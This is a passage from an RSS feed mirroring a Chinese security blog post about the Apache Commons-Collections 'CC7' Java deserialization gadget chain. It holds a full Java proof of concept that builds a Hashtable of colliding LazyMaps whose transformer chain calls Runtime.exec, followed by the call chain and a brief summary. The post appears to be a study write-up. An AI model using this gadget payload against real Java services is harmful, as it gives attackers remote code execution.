0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getMethod&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>, Class[].<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getRuntime&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;invoke&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[].<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;exec&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>                        execArgs),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>)};<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> innerMap1 = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> innerMap2 = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>        lazyMap1.put((short)<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>        lazyMap2.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> URL(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<a href="http://www.baidu.com" target="_blank">http://www.baidu.com</a>&#34;</span>), <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-588894355</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Use the colliding Maps as keys in Hashtable</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">31</span>        Hashtable hashtable = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Hashtable();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">32</span>        hashtable.put(lazyMap1, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">33</span>        hashtable.put(lazyMap2, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">34</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">35</span>        setFieldValue(transformerChain, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;iTransformers&#34;</span>, transformers);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">36</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">37</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Needed to ensure hash collision after previous manipulations</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">38</span>        lazyMap2.remove((short)<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">39</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">40</span>        ByteOutputStream bos = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ByteOutputStream();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">41</span>        ObjectOutputStream oos = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectOutputStream(bos);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">42</span>        oos.writeObject(hashtable);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">43</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">44</span>        ByteInputStream bis = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ByteInputStream(bos.getBytes(),bos.getBytes().length);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">45</span>        ObjectInputStream ois = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectInputStream(bis);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">46</span>        ois.readObject();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">47</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">48</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">49</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">50</span>    public <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> setFieldValue(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span> ob,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span> field,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span> value) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">51</span>        Field fd = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">52</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">try</span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">53</span>            fd = ob.getClass().getDeclaredField(field);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">54</span>            fd.setAccessible(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">55</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">56</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (Exception e)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">57</span>        {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">58</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">try</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">59</span>                fd = ob.getClass().getField(field);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">60</span>            }<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (Exception es){<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">61</span>                System.out.println(es);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">62</span>            }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">63</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">64</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">try</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">65</span>            fd.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">set</span>(ob,value);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">66</span>        }<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (Exception exc){<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">67</span>            System.out.println(exc);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">68</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">69</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">70</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">71</span>}<br/></code></pre><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">调用链</span></h3><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">HashTable</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.readObject</span>  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">HashTable</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.reconstitutionPut</span>  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">AbstractMapDecorator</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.equals</span>  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">AbstractMap</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.equals</span>  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">LazyMap</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.get</span>  <br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">ChainedTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.transform</span>  <br/></code></pre><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">总结</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">总体来说这条链还是比较简单的，从</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">LazyMap</span></code><span style="font-size: 14px;">类到</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Transformer</span></code><span style="font-size: 14px;">的链之前已经遇见好多次了。唯一不同的就是</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashTable</span></code><span style="font-size: 14px;">控制哈希这里，不过感觉还是相对简单的。</span></p></section><p><br/></p>



<p><a href="2247486289">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ee417ac5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486289%26idx%3D1%26sn%3De207f3955c4b46741a4fe599d7f23beb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 16 Aug 2022 08:00:00 +0800</pubDate>
    </item>
    <item>
      <title>应急响应之流程梳理</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486283&amp;idx=1&amp;sn=c19b9cdc5f3207289439d5f543b51823</link>
      <description>最近做了一些应急响应，在响应的时候也翻查了不少资料，发现大部分都是按照攻击来分类进行响应工作；寻摸着能不能有个一条龙的线路去进行应急响应(毕竟新手，倍感压力)，于是粗略的整理了下。</description>
      <content:encoded><![CDATA[<p>
